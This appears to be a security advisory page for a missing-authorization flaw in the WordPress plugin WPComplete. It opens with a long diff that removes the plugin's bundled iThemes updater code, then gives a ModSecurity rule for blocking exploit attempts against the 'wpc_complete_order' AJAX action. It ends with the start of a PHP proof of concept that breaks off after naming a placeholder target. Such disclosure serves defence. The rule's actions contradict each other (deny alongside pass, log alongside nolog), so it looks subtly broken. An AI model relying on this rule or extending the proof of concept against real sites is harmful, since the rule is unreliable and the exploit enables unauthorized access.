-	require( dirname( __FILE__ ) . '/wp-cli.php' );
-	WP_CLI::add_command( 'ithemes-licensing', 'Ithemes_Updater_WP_CLI_Ithemes_Licensing' );
-}
-
-
-if ( defined( 'ITHEMES_UPDATER_DISABLE' ) && ITHEMES_UPDATER_DISABLE ) {
-	return;
-}
-
-
-$GLOBALS['ithemes_updater_path'] = dirname( __FILE__ );
-
-
-if ( is_admin() ) {
-	require( $GLOBALS['ithemes_updater_path'] . '/admin.php' );
-}
-
-
-function ithemes_updater_filter_update_plugins( $update_plugins ) {
-	if ( ! class_exists( 'Ithemes_Updater_Settings' ) ) {
-		require( $GLOBALS['ithemes_updater_path'] . '/settings.php' );
-	}
-
-	return $GLOBALS['ithemes-updater-settings']->filter_update_plugins( $update_plugins );
-}
-add_filter( 'site_transient_update_plugins', 'ithemes_updater_filter_update_plugins' );
-add_filter( 'transient_update_plugins', 'ithemes_updater_filter_update_plugins' );
-
-
-function ithemes_updater_filter_update_themes( $update_themes ) {
-	if ( ! class_exists( 'Ithemes_Updater_Settings' ) ) {
-		require( $GLOBALS['ithemes_updater_path'] . '/settings.php' );
-	}
-
-	return $GLOBALS['ithemes-updater-settings']->filter_update_themes( $update_themes );
-}
-add_filter( 'site_transient_update_themes', 'ithemes_updater_filter_update_themes' );
-add_filter( 'transient_update_themes', 'ithemes_updater_filter_update_themes' );
-
-
-function ithemes_updater_get_licensed_site_url() {
-	if ( ! class_exists( 'Ithemes_Updater_Settings' ) ) {
-		require( $GLOBALS['ithemes_updater_path'] . '/settings.php' );
-	}
-
-	return $GLOBALS['ithemes-updater-settings']->get_licensed_site_url();
-}
-
-function ithemes_updater_get_seen_hostnames() {
-	if ( ! class_exists( 'Ithemes_Updater_Settings' ) ) {
-		require( $GLOBALS['ithemes_updater_path'] . '/settings.php' );
-	}
-
-	return $GLOBALS['ithemes-updater-settings']->get_hostname_history();
-}
-
-function ithemes_updater_is_request_on_licensed_site_url() {
-	if ( ! class_exists( 'Ithemes_Updater_Settings' ) ) {
-		require( $GLOBALS['ithemes_updater_path'] . '/settings.php' );
-	}
-
-	return $GLOBALS['ithemes-updater-settings']->is_request_on_licensed_site_url();
-}
-
-function ithemes_updater_get_change_licensed_site_url( $redirect = '' ) {
-	return admin_url( 'options-general.php?page=ithemes-licensing&action=change_licensed_site_url&redirect=' . urlencode( $redirect ) );
-}
-
-function ithemes_updater_change_licensed_site_url( $redirect = '' ) {
-	wp_redirect( ithemes_updater_get_change_licensed_site_url( $redirect ) );
-	exit();
-}
-
-function ithemes_updater_is_licensed_site_url_confirmed() {
-	if ( ! class_exists( 'Ithemes_Updater_Settings' ) ) {
-		require( $GLOBALS['ithemes_updater_path'] . '/settings.php' );
-	}
-
-	return $GLOBALS['ithemes-updater-settings']->is_licensed_site_url_confirmed();
-}
--- a/wpcomplete/lib/updater/keys.php
+++ b/wpcomplete/lib/updater/keys.php
@@ -1,177 +0,0 @@
-<?php
-
-/*
-Provides license key management.
-Written by Chris Jean for iThemes.com
-Version 1.0.2
-
-Version History
-	1.0.0 - 2013-04-11 - Chris Jean
-		Release ready
-	1.0.1 - 2013-09-19 - Chris Jean
-		Updated requires to no longer use dirname().
-	1.0.2 - 2014-10-23 - Chris Jean
-		Updated code to meet WordPress coding standards.
-*/
-
-
-class Ithemes_Updater_Keys {
-	private static $option_name = 'ithemes-updater-keys';
-
-
-	public static function get( $packages = array() ) {
-		require_once( $GLOBALS['ithemes_updater_path'] . '/functions.php' );
-		$all_keys = Ithemes_Updater_Functions::get_site_option( self::$option_name );
-
-		if ( false === $all_keys ) {
-			$GLOBALS['ithemes-updater-keys-db-failure'] = true;
-		} else {
-			$GLOBALS['ithemes-updater-keys-db-failure'] = false;
-		}
-		if ( ! is_array( $all_keys ) ) {
-			$all_keys = array();
-		}
-
-		if ( '__all__' == $packages ) {
-			return $all_keys;
-		}
-
-		if ( empty( $packages ) ) {
-			require_once( $GLOBALS['ithemes_updater_path'] . '/packages.php' );
-			$packages = array_unique( array_values( Ithemes_Updater_Packages::get_all() ) );
-		}
-
-
-		$keys = array();
-
-		foreach ( (array) $packages as $package ) {
-			if ( ! empty( $all_keys[$package] ) ) {
-				$keys[$package] = $all_keys[$package];
-			}
-		}
-
-
-		if ( ! is_array( $packages ) ) {
-			return $keys[$packages];
-		}
-
-		return $keys;
-	}
-
-	public static function set( $new_keys, $key = false ) {
-		$keys = self::get( '__all__' );
-
-		if ( false === $key ) {
-			foreach ( $new_keys as $package => $key ) {
-				$keys[$package] = $key;
-			}
-		} else {
-			$keys[$new_keys] = $key;
-		}
-
-		if ( ! isset( $GLOBALS['ithemes-updater-keys-db-failure'] ) || false === $GLOBALS['ithemes-updater-keys-db-failure'] ) {
-			update_site_option( self::$option_name, $keys );
-		}
-	}
-
-	private static function get_legacy_slug( $raw_slug ) {
-		$slug = str_replace( '_', '-', $raw_slug );
-		$slug = preg_replace( '/^(pluginbuddy|ithemes|it)-/', '', $slug );
-
-		if ( 'boom-bar' == $slug ) {
-			$slug = 'boombar';
-		}
-
-		return $slug;
-	}
-
-	public static function delete_legacy( $packages = array() ) {
-		if ( ! is_array( $packages ) ) {
-			$packages = array( $packages );
-		}
-
-		$data = get_site_option( 'pluginbuddy_plugins', false );
-
-
-		$remaining_count = 0;
-
-		foreach ( $data as $index => $entry ) {
-			if ( ! is_object( $entry ) || empty( $entry->slug ) ) {
-				continue;
-			}
-
-			$slug = self::get_legacy_slug( $entry->slug );
-
-			if ( in_array( $slug, $packages ) ) {
-				unset( $data[$index] );
-			} else {
-				$remaining_count++;
-			}
-		}
-
-		if ( 0 == $remaining_count ) {
-			$data = false;
-		}
-
-
-		update_site_option( 'pluginbuddy_plugins', $data );
-	}
-
-	public static function get_legacy( $packages = array() ) {
-		$data = get_site_option( 'pluginbuddy_plugins', false );
-
-		if ( empty( $data ) || ! is_array( $data ) ) {
-			return array();
-		}
-
-
-		$keys = array();
-
-		foreach ( $data as $index => $entry ) {
-			if ( ! is_object( $entry ) || empty( $entry->slug ) || ! isset( $entry->key ) ) {
-				continue;
-			}
-
-			$slug = self::get_legacy_slug( $entry->slug );
-			$keys[$slug] = $entry->key;
-		}
-
-
-		foreach ( array_keys( $keys ) as $slug ) {
-			if ( ! isset( $data[$slug] ) ) {
-				continue;
-			}
-
-			$entry = $data[$slug];
-
-			if ( ! is_object( $entry ) || empty( $entry->slug ) || empty( $entry->key ) ) {
-				continue;
-			}
-
-			$keys[$slug] = $entry->key;
-		}
-
-
-		if ( empty( $packages ) ) {
-			require_once( $GLOBALS['ithemes_updater_path'] . '/packages.php' );
-			$packages = array_unique( array_values( Ithemes_Updater_Packages::get_all() ) );
-		} else if ( is_string( $packages ) ) {
-			if ( ! empty( $keys[$packages] ) ) {
-				return $keys[$packages];
-			}
-
-			return false;
-		}
-
-
-		$package_keys = array();
-
-		foreach ( $packages as $package ) {
-			if ( ! empty( $keys[$package] ) ) {
-				$package_keys[$package] = $keys[$package];
-			}
-		}
-
-		return $package_keys;
-	}
-}
--- a/wpcomplete/lib/updater/load.php
+++ b/wpcomplete/lib/updater/load.php
@@ -1,54 +0,0 @@
-<?php
-
-/*
-Written by Chris Jean for iThemes.com
-*/
-
-
-$it_registration_list_version   = '1.6.8';
-$it_registration_list_library   = 'updater';
-$it_registration_list_init_file = dirname( __FILE__ ) . '/init.php';
-
-$GLOBALS['it_classes_registration_list'][$it_registration_list_library][$it_registration_list_version] = $it_registration_list_init_file;
-
-if ( ! function_exists( 'it_registration_list_init' ) ) {
-	function it_registration_list_init() {
-		// The $wp_locale variable is set just before the theme's functions.php file is loaded,
-		// this acts as a good check to ensure that both the plugins and the theme have loaded.
-		global $wp_locale;
-		if ( ! isset( $wp_locale ) )
-			return;
-
-
-		$init_files = array();
-
-		foreach ( (array) $GLOBALS['it_classes_registration_list'] as $library => $versions ) {
-			$max_version = '-10000';
-			$init_file = '';
-
-			foreach ( (array) $versions as $version => $file ) {
-				if ( version_compare( $version, $max_version, '>' ) ) {
-					$max_version = $version;
-					$init_file = $file;
-				}
-			}
-
-			if ( ! empty( $init_file ) )
-				$init_files[] = $init_file;
-		}
-
-		unset( $GLOBALS['it_classes_registration_list'] );
-
-		foreach ( (array) $init_files as $init_file )
-			require_once( $init_file );
-
-		do_action( 'it_libraries_loaded' );
-	}
-
-	global $wp_version;
-
-	if ( version_compare( $wp_version, '2.9.7', '>' ) )
-		add_action( 'after_setup_theme', 'it_registration_list_init' );
-	else
-		add_action( 'set_current_user', 'it_registration_list_init' );
-}
--- a/wpcomplete/lib/updater/packages.php
+++ b/wpcomplete/lib/updater/packages.php
@@ -1,223 +0,0 @@
-<?php
-
-/*
-Provides a reliable way of retrieving which projects have updates.
-Written by Chris Jean for iThemes.com
-Version 1.0.2
-
-Version History
-	1.0.0 - 2013-04-11 - Chris Jean
-		Release ready
-	1.0.1 - 2013-09-19 - Chris Jean
-		Added support for 'upgrade' data for a package.
-		Updated requires to no longer use dirname().
-	1.0.2 - 2014-10-23 - Chris Jean
-		Updated to meet WordPress coding standards.
-*/
-
-
-class Ithemes_Updater_Packages {
-	public static function flush() {
-		unset( $GLOBALS['ithemes-updater-packages-all'] );
-	}
-
-	public static function get_full_details( $response = false ) {
-		if ( false === $response ) {
-			require_once( $GLOBALS['ithemes_updater_path'] . '/api.php' );
-			$response = Ithemes_Updater_API::get_package_details();
-		}
-
-		$packages = self::get_local_details();
-
-
-		if ( is_wp_error( $response ) ) {
-			$expiration = time() + 600;
-
-			foreach ( $packages as $path => $data ) {
-				$packages[$path]['status'] = 'error';
-
-				$packages[$path]['error'] = array(
-					'code'    => 'unknown',
-					'type'    => $response->get_error_code(),
-					'message' => $response->get_error_message(),
-				);
-			}
-		} else {
-			$expiration = time() + ( 12 * 3600 );
-
-			foreach ( $packages as $path => $data ) {
-				if ( empty( $response['packages'][$data['package']] ) ) {
-					continue;
-				}
-
-				$package = $response['packages'][$data['package']];
-
-				if ( ! empty( $package['error'] ) ) {
-					if ( in_array( $package['error']['type'], array( 'ITXAPI_License_Key_Unknown', 'ITXAPI_Updater_Missing_Legacy_Key' ) ) ) {
-						$packages[$path]['status'] = 'unlicensed';
-					} else {
-						$packages[$path]['status'] = 'error';
-						$packages[$path]['error'] = $package['error'];
-					}
-
-					continue;
-				}
-
-
-				$key_map = array(
-					'status'     => 'status',
-					'link'       => 'package-url',
-					'ver'        => 'available',
-					'used'       => 'used',
-					'total'      => 'total',
-					'user'       => 'user',
-					'sub_expire' => 'expiration',
-					'upgrade'    => 'upgrade',
-				);
-
-				foreach ( $key_map as $old => $new ) {
-					if ( isset( $package[$old] ) ) {
-						$packages[$path][$new] = $package[$old];
-					} else {
-						$packages[$path][$new] = null;
-					}
-				}
-
-				if ( isset( $package['link_expire'] ) ) {
-					$expiration = min( $expiration, $package['link_expire'] );
-				}
-			}
-		}
-
-
-		$details = compact( 'packages', 'expiration' );
-
-		return $details;
-	}
-
-	public static function get_local_details() {
-		require_once( $GLOBALS['ithemes_updater_path'] . '/keys.php' );
-
-
-		$all_packages = self::get_all();
-		$keys = Ithemes_Updater_Keys::get();
-
-		$packages = array();
-
-		foreach ( $all_packages as $file => $slug ) {
-			$packages[$slug][] = $file;
-		}
-
-		foreach ( $packages as $slug => $paths ) {
-			$packages[$slug] = array_unique( $paths );
-		}
-
-
-		$details = array();
-
-
-		foreach ( $packages as $package => $paths ) {
-			foreach ( $paths as $path ) {
-				$plugin_path = preg_replace( '/^' . preg_quote( WP_PLUGIN_DIR, '/' ) . '/', '', $path );
-
-				if ( $plugin_path != $path ) {
-					$type = 'plugin';
-					$rel_path = preg_replace( '|^[/\\]|', '', $plugin_path );
-
-					$plugin_data = get_plugin_data( $path, false, false );
-					$version = $plugin_data['Version'];
-					$info_url = $plugin_data['PluginURI'];
-				} else {
-					$type = 'theme';
-					$dir = basename( dirname( $path ) );
-					$rel_path = "$dir/" . basename( $path );
-
-					if ( function_exists( 'wp_get_theme' ) ) {
-						$theme_data = wp_get_theme( $dir );
-
-						$version = $theme_data->get( 'Version' );
-						$info_url = $theme_data->get( 'ThemeURI' );
-					} else {
-						$theme_data = get_theme( $dir );
-
-						$version = $theme_data['Version'];
-						$info_url = '';
-					}
-				}
-
-
-				$details[$rel_path] = array(
-					'type'      => $type,
-					'package'   => $package,
-					'installed' => $version,
-					'info-url'  => $info_url,
-					'key'       => isset( $keys[$package] ) ? $keys[$package] : '',
-				);
-			}
-		}
-
-
-		return $details;
-	}
-
-	public static function get_all() {
-		if ( isset( $GLOBALS['ithemes-updater-packages-all'] ) ) {
-			return $GLOBALS['ithemes-updater-packages-all'];
-		}
-
-
-		$packages = array();
-
-
-		// Compatibility fix for WP < 3.1 as the global var is empty by default
-		if ( empty( $GLOBALS['wp_theme_directories'] ) ) {
-			get_themes();
-		}
-
-		$themes = search_theme_directories();
-
-		if ( is_array( $themes ) ) {
-			foreach ( $themes as $slug => $data ) {
-				if ( ! file_exists( "{$data['theme_root']}/{$data['theme_file']}" ) ) {
-					continue;
-				}
-
-				$headers = get_file_data( "{$data['theme_root']}/{$data['theme_file']}", array( 'package' => 'iThemes Package' ), 'theme' );
-
-				if ( empty( $headers['package'] ) ) {
-					continue;
-				}
-
-				$packages["{$data['theme_root']}/{$data['theme_file']}"] = $headers['package'];
-			}
-		}
-
-
-		require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
-		$plugins = get_plugins();
-
-		foreach ( $plugins as $file => $data ) {
-			if ( ! file_exists( WP_PLUGIN_DIR . "/$file" ) ) {
-				continue;
-			}
-
-			$headers = get_file_data( WP_PLUGIN_DIR . "/$file", array( 'package' => 'iThemes Package' ), 'plugin' );
-
-			if ( empty( $headers['package'] ) ) {
-				continue;
-			}
-
-			$packages[WP_PLUGIN_DIR . "/$file"] = $headers['package'];
-		}
-
-
-		foreach ( $packages as $path => $package ) {
-			$packages[$path] = strtolower( $package );
-		}
-
-
-		$GLOBALS['ithemes-updater-packages-all'] = $packages;
-
-		return $packages;
-	}
-}
--- a/wpcomplete/lib/updater/server.php
+++ b/wpcomplete/lib/updater/server.php
@@ -1,296 +0,0 @@
-<?php
-
-/*
-Provides an easy to use interface for communicating with the iThemes updater server.
-Written by Chris Jean for iThemes.com
-Version 1.1.0
-
-Version History
-	1.0.0 - 2013-04-11 - Chris Jean
-		Release ready
-	1.0.1 - 2013-06-21 - Chris Jean
-		Updated the http_build_query call to force a separator of & in order to avoid issues with servers that change the arg_separator.output php.ini value.
-	1.0.2 - 2013-09-19 - Chris Jean
-		Updated ithemes-updater-object to ithemes-updater-settings.
-	1.0.3 - 2013-12-18 - Chris Jean
-		Updated the way that the site URL is generated to ensure consistency across multisite sites.
-	1.0.4 - 2014-01-31 - Chris Jean
-		Updated to normalize the site URL used for password hash generation and for sending to the server.
-	1.1.0 - 2014-10-23 - Chris Jean
-		Updated auth token generation to use new password hashing.
-		Added CA patch code.
-		Updated code to meet WordPress coding standards.
-*/
-
-
-class Ithemes_Updater_Server {
-	private static $secure_server_url = 'https://api.ithemes.com/updater';
-	private static $insecure_server_url = 'http://api.ithemes.com/updater';
-
-	private static $password_iterations = 8;
-
-
-	public static function activate_package( $username, $password, $packages ) {
-		$query = array(
-			'user' => $username
-		);
-
-		$data = array(
-			'auth_token' => self::get_password_hash( $username, $password ),
-			'packages'   => $packages,
-		);
-
-		return Ithemes_Updater_Server::request( 'package-activate', $query, $data );
-	}
-
-	public static function deactivate_package( $username, $password, $packages ) {
-		$query = array(
-			'user' => $username
-		);
-
-		$data = array(
-			'auth_token' => self::get_password_hash( $username, $password ),
-			'packages'   => $packages,
-		);
-
-		return Ithemes_Updater_Server::request( 'package-deactivate', $query, $data );
-	}
-
-	public static function get_licensed_site_url( $packages ) {
-		$query = array();
-
-		$data = array(
-			'packages' => $packages
-		);
-
-		return Ithemes_Updater_Server::request( 'licensed-site-url-get', $query, $data );
-	}
-
-	public static function set_licensed_site_url( $username, $password, $site_url, $keys ) {
-		$query = array(
-			'user' => $username
-		);
-
-		$data = array(
-			'auth_token' => self::get_password_hash( $username, $password ),
-			'site_url'   => $site_url,
-			'keys'       => $keys,
-		);
-
-		return Ithemes_Updater_Server::request( 'licensed-site-url-set', $query, $data );
-	}
-
-	public static function get_package_details( $packages ) {
-		global $rcp_options;
-
-		$query = array();
-
-		$data = array(
-			'packages' => $packages
-		);
-
-		if ( ! empty( $rcp_options ) && is_array( $rcp_options ) && ! empty( $rcp_options['license_key'] ) ) {
-			$data['rcp_license_key'] = $rcp_options['license_key'];
-		}
-
-		if ( isset( $packages['wpcomplete'] ) ) {
-			$data['wpcomplete_license_key'] = get_option( 'wpcomplete_license_key' );
-		}
-
-		if ( isset( $packages['pmpro-ultimate-member'] ) ) {
-			$data['skillful_license_keys']['pmpro-ultimate-member'] = trim( get_option( 'pmpro_um_license_key' ) );
-		}
-		if ( isset( $packages['rcp-custom-renew'] ) ) {
-			$data['skillful_license_keys']['rcp-custom-renew'] = trim( get_option( 'rcpcr_license_key' ) );
-		}
-		if ( isset( $packages['rcp-resume-manager'] ) ) {
-			$settings = get_option( 'rcprm', array() );
-
-			if ( isset( $settings['license'] ) ) {
-				$data['skillful_license_keys']['rcp-resume-manager'] = trim( $settings['license'] );
-			}
-		}
-		if ( isset( $packages['rcp-ultimate-member'] ) ) {
-			$data['skillful_license_keys']['rcp-ultimate-member'] = trim( get_option( 'rcpum_license_key' ) );
-		}
-		if ( isset( $packages['rcp-view-limit'] ) ) {
-			$settings = get_option( 'rcpvl', array() );
-
-			if ( isset( $settings['license'] ) ) {
-				$data['skillful_license_keys']['rcp-view-limit'] = trim( $settings['license'] );
-			}
-		}
-		if ( isset( $packages['restrict-content-pro-buddypress'] ) ) {
-			$data['skillful_license_keys']['restrict-content-pro-buddypress'] = trim( get_option( 'rcpbp_license_key' ) );
-		}
-		if ( isset( $packages['view-limit'] ) ) {
-			$settings = get_option( 'view_limit', array() );
-
-			if ( isset( $settings['license'] ) ) {
-				$data['skillful_license_keys']['view-limit'] = trim( $settings['license'] );
-			}
-		}
-
-		return Ithemes_Updater_Server::request( 'package-details', $query, $data );
-	}
-
-	public static function request( $action, $query = array(), $data = array() ) {
-		require_once( $GLOBALS['ithemes_updater_path'] . '/settings.php' );
-
-		if ( false !== ( $timeout_start = get_site_option( 'ithemes-updater-server-timed-out' ) ) ) {
-			// Hold off updates for 30 minutes.
-			$time_remaining = 1800 - ( time() - $timeout_start );
-			$minutes_remaining = ceil( $time_remaining / 60 );
-
-			if ( $time_remaining < 0 ) {
-				delete_site_option( 'ithemes-updater-server-timed-out' );
-			} else {
-				return new WP_Error( 'ithemes-updater-timed-out-server', sprintf( _n( 'The server could not be contacted. Requests are delayed for %d minute to allow the server to recover.', 'The server could not be contacted. Requests are delayed for %d minutes to allow the server to recover.', $minutes_remaining, 'LION' ), $minutes_remaining ) );
-			}
-		}
-
-
-		if ( isset( $data['auth_token'] ) ) {
-			$data['iterations'] = self::$password_iterations;
-		}
-
-
-		$site_url = self::get_site_url();
-
-
-		$default_query = array(
-			'wp'           => $GLOBALS['wp_version'],
-			'site'         => $site_url,
-			'timestamp'    => time(),
-			'auth_version' => '2',
-		);
-
-		if ( is_multisite() ) {
-			$default_query['ms'] = 1;
-		}
-
-		$query = array_merge( $default_query, $query );
-		$request = "/$action/?" . http_build_query( $query, '', '&' );
-
-		$post_data = array(
-			'request' => json_encode( $data ),
-		);
-
-		$remote_post_args = array(
-			'timeout' => 10,
-			'body'    => $post_data,
-		);
-
-
-		$options = array(
-			'use_ca_patch' => false,
-			'use_ssl'      => true,
-		);
-
-		$patch_enabled = $GLOBALS['ithemes-updater-settings']->get_option( 'use_ca_patch' );
-
-		if ( $patch_enabled ) {
-			self::disable_ssl_ca_patch();
-		}
-
-
-		$response = wp_remote_post( self::$secure_server_url . $request, $remote_post_args );
-
-		if ( is_wp_error( $response ) && ( 'connect() timed out!' != $response->get_error_message() ) ) {
-			self::enable_ssl_ca_patch();
-			$response = wp_remote_post( self::$secure_server_url . $request, $remote_post_args );
-
-			if ( ! is_wp_error( $response ) ) {
-				$options['use_ca_patch'] = true;
-			}
-		}
-
-		if ( is_wp_error( $response ) && ( 'connect() timed out!' != $response->get_error_message() ) && defined( 'ITHEMES_ALLOW_HTTP_FALLBACK' ) && ITHEMES_ALLOW_HTTP_FALLBACK ) {
-			$response = wp_remote_post( self::$insecure_server_url . $request, $remote_post_args );
-
-			$options['use_ssl'] = false;
-		}
-
-		if ( ! $options['use_ca_patch'] ) {
-			self::disable_ssl_ca_patch();
-		}
-
-		$GLOBALS['ithemes-updater-settings']->update_options( $options );
-
-		if ( is_wp_error( $response ) ) {
-			if ( 'connect() timed out!' == $response->get_error_message() ) {
-				// Set option to delay server checks for a period of time.
-				update_site_option( 'ithemes-updater-server-timed-out', time() );
-
-				return new WP_Error( 'http_request_failed', __( 'The server was unable to be contacted.', 'LION' ) );
-			}
-
-			return $response;
-		}
-
-
-		$body = json_decode( $response['body'], true );
-
-		if ( ! empty( $body['error'] ) ) {
-			return new WP_Error( $body['error']['type'], sprintf( __( 'An error occurred when communicating with the iThemes update server: %s (%s)', 'LION' ), $body['error']['message'], $body['error']['code'] ) );
-		}
-
-
-		return $body;
-	}
-
-	private static function get_site_url() {
-		require_once( $GLOBALS['ithemes_updater_path'] . '/settings.php' );
-
-		// Ensure that a fatal error isn't triggered on upgrade.
-		if ( is_callable( array( $GLOBALS['ithemes-updater-settings'], 'get_licensed_site_url' ) ) ) {
-			$site_url = $GLOBALS['ithemes-updater-settings']->get_licensed_site_url();
-		}
-
-		if ( empty( $site_url ) ) {
-			if ( is_callable( 'network_home_url' ) ) {
-				$site_url = network_home_url( '', 'http' );
-			} else {
-				$site_url = get_bloginfo( 'url' );
-			}
-		}
-
-		$site_url = preg_replace( '/^https/', 'http', $site_url );
-		$site_url = preg_replace( '|/$|', '', $site_url );
-
-		return $site_url;
-	}
-
-	private static function get_password_hash( $username, $password ) {
-		require_once( ABSPATH . WPINC . '/class-phpass.php' );
-		require_once( dirname( __FILE__ ) . '/class-ithemes-credentials.php' );
-
-		$password = iThemes_Credentials::get_password_hash( $username, $password );
-
-		$salted_password = $password . $username . self::get_site_url() . $GLOBALS['wp_version'];
-		$salted_password = substr( $salted_password, 0, max( strlen( $password ), 512 ) );
-
-		$hasher = new PasswordHash( self::$password_iterations, true );
-		$auth_token = $hasher->HashPassword( $salted_password );
-
-		return $auth_token;
-	}
-
-	public static function enable_ssl_ca_patch() {
-		add_action( 'http_api_curl', array( __CLASS__, 'add_ca_patch_to_curl_opts' ) );
-	}
-
-	public static function disable_ssl_ca_patch() {
-		remove_action( 'http_api_curl', array( __CLASS__, 'add_ca_patch_to_curl_opts' ) );
-	}
-
-	public static function add_ca_patch_to_curl_opts( $handle ) {
-		$url = curl_getinfo( $handle, CURLINFO_EFFECTIVE_URL );
-
-		if ( ! preg_match( '{^https://(api|downloads).ithemes.com}', $url ) ) {
-			return;
-		}
-
-		curl_setopt( $handle, CURLOPT_CAINFO, $GLOBALS['ithemes_updater_path'] . '/ca/roots.crt' );
-	}
-}
--- a/wpcomplete/lib/updater/settings-page.php
+++ b/wpcomplete/lib/updater/settings-page.php
@@ -1,957 +0,0 @@
-<?php
-
-/*
-Code to render and manage the settings page for the updater system.
-Written by Chris Jean for iThemes.com
-Version 1.1.0
-
-Version History
-	1.0.0 - 2013-04-11 - Chris Jean
-		Release ready
-	1.0.1 - 2013-09-19 - Chris Jean
-		Updated requires to not use dirname().
-		Updated ithemes-updater-object to ithemes-updater-settings.
-	1.1.0 - 2013-10-23 - Chris Jean
-		Enhancement: Added the quick_releases setting.
-		Misc: Removed the show_on_sites setting as it is no longer used.
-*/
-
-
-class Ithemes_Updater_Settings_Page {
-	private $page_name = 'ithemes-licensing';
-
-	private $path_url = '';
-	private $self_url = '';
-	private $messages = array();
-	private $message_strings = array();
-	private $errors = array();
-	private $soft_errors = array();
-
-
-	public function __construct() {
-		require_once( $GLOBALS['ithemes_updater_path'] . '/functions.php' );
-		require_once( $GLOBALS['ithemes_updater_path'] . '/api.php' );
-		require_once( $GLOBALS['ithemes_updater_path'] . '/keys.php' );
-
-
-		$this->path_url = Ithemes_Updater_Functions::get_url( $GLOBALS['ithemes_updater_path'] );
-
-		list( $this->self_url ) = explode( '?', $_SERVER['REQUEST_URI'] );
-		$this->self_url .= '?page=' . $this->page_name;
-
-
-		add_action( 'ithemes_updater_settings_page_index', array( $this, 'index' ) );
-		add_action( 'admin_print_scripts', array( $this, 'add_scripts' ) );
-		add_action( 'admin_print_styles', array( $this, 'add_styles' ) );
-	}
-
-	public function add_scripts() {
-		wp_enqueue_script( 'ithemes-updater-settings-page-script', "{$this->path_url}/js/settings-page.js", array(), 2 );
-	}
-
-	public function add_styles() {
-		wp_enqueue_style( 'ithemes-updater-settings-page-style', "{$this->path_url}/css/settings-page.css", array(), 2 );
-	}
-
-	public function index() {
-		$post_data = Ithemes_Updater_Functions::get_post_data( array( 'it-updater-username', 'it-updater-password', 'packages', 'action', 'site_url', 'redirect', 'relicense_option' ), true );
-
-		if ( empty( $post_data['packages'] ) ) {
-			$post_data['packages'] = array();
-		}
-
-		if ( ! empty( $post_data['action'] ) ) {
-			$action = $post_data['action'];
-		} else if ( ! empty( $_REQUEST['action'] ) ) {
-			$action = $_REQUEST['action'];
-		} else {
-			$action = 'list_packages';
-		}
-
-		if ( 'save_licensed_site_url' === $action ) {
-			$this->save_licensed_site_url( $post_data );
-		} else if ( 'relicense' === $action ) {
-			$this->relicense( $post_data );
-		} else if ( 'change_licensed_site_url' === $action || ! $GLOBALS['ithemes-updater-settings']->is_licensed_site_url_confirmed() ) {
-			$this->show_licensed_site_url_confirmation_page( $post_data );
-		} else {
-			if ( 'license_packages' === $action ) {
-				$this->license_packages( $post_data );
-			} else if ( 'unlicense_packages' === $action ) {
-				$this->unlicense_packages( $post_data );
-			} else if ( 'save_settings' === $action ) {
-				$this->save_settings();
-			}
-
-			$this->list_packages( $action, $post_data );
-		}
-	}
-
-	private function save_settings() {
-		check_admin_referer( 'save_settings', 'ithemes_updater_nonce' );
-
-
-		$settings_defaults = array(
-			'quick_releases' => false,
-		);
-
-		$settings = array();
-
-		foreach ( $settings_defaults as $var => $val ) {
-			if ( isset( $_POST[$var] ) )
-				$settings[$var] = $_POST[$var];
-			else
-				$settings[$var] = $val;
-		}
-
-		if ( $settings['quick_releases'] )
-			$settings['quick_releases'] = true;
-
-		$GLOBALS['ithemes-updater-settings']->update_options( $settings );
-
-		$GLOBALS['ithemes-updater-settings']->flush( 'settings saved' );
-
-
-		$this->messages[] = __( 'Settings saved', 'LION' );
-	}
-
-	private function license_packages( $data ) {
-		check_admin_referer( 'license_packages', 'ithemes_updater_nonce' );
-
-		if ( empty( $data['username'] ) && empty( $data['password'] ) )
-			$this->errors[] = __( 'You must supply an iThemes membership username and password in order to license products.', 'LION' );
-		else if ( empty( $data['username'] ) )
-			$this->errors[] = __( 'You must supply an iThemes membership username in order to license products.', 'LION' );
-		else if ( empty( $data['password'] ) )
-			$this->errors[] = __( 'You must supply an iThemes membership password in order to license products.', 'LION' );
-		else if ( empty( $data['packages'] ) )
-			$this->errors[] = __( 'You must select at least one product to license. Ensure that you select the products that you wish to license in the listing below.', 'LION' );
-
-		if ( ! empty( $this->errors ) )
-			return;
-
-
-		$response = Ithemes_Updater_API::activate_package( $data['username'], $data['password'], $data['packages'] );
-
-		if ( is_wp_error( $response ) ) {
-			$this->errors[] = Ithemes_Updater_API::get_error_explanation( $response );
-
-			return;
-		}
-
-		if ( empty( $response['packages'] ) ) {
-			$this->errors[] = __( 'An unknown server error occurred. Please try to license your products again at another time.', 'LION' );
-			return;
-		}
-
-
-		uksort( $response['packages'], 'strnatcasecmp' );
-
-		$success = array();
-		$warn = array();
-		$fail = array();
-
-		foreach ( $response['packages'] as $package => $data ) {
-			if ( preg_match( '/ ||| d+$/', $packa

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" "id:20261995,phase:2,deny,status:403,msg:'WPComplete Missing Authorization Exploit Attempt',log,pass,nolog,auditlog,chain"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS:action "@streq wpc_complete_order" "chain"
SecRule ARGS:order_id "!@rx ^[0-9]+$" "t:none,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57661 - WPComplete <= 2.9.5.5 - Missing Authorization

// Configure target WordPress site with WPComplete plugin installed
$target_url = 'http://example.com';  // Change this to the target WordPress URL

// WordPress user credentials (subscriber-level or above)
